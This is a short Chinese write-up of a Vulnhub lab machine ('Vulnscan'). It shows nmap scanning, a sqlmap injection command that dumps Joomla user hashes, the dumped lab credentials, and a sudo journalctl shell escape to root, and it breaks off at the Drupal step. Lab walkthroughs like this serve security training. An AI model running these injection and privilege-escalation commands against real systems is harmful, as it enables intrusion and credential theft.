Vulnhub系列--Vulnscan

tragte IP: 192.168.139.136

信息收集

nmap -A 192.168.139.136

开放5个服务，分别为：

• 22: ssh
• 5000: wordpress
• 80: http
• 8081: joomla
• 9001: Drupal

逐个分析漏洞

wordpress

发现存在一个命令执行：

http://fsociety.web:5000/admin-wp/

依据时间发现存在用户名和密码，可以直接登录，反弹shell一直失败

登录后可以得到：

journalctl不需要密码直接root执行，利用方式：https://gtfobins.github.io/gtfobins/journalctl/

使用方式：

sudo /bin/journalctl
!/bin/bash

joomla

发现存在sql注入，直接注入可得用户名和密码：

sqlmap -u "http://192.168.139.136:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" -D joomla_db -T hs23w_users  --dump

username	password	email
joomlaCMS_admin	$2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee	Fluntence54@armyspy.com
elliot	$2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy	5T3e!_M0un7i@N

可以看到elliot的邮箱就是密码，可以直接登录:

Drupal

版本为7.54，搜索exploit：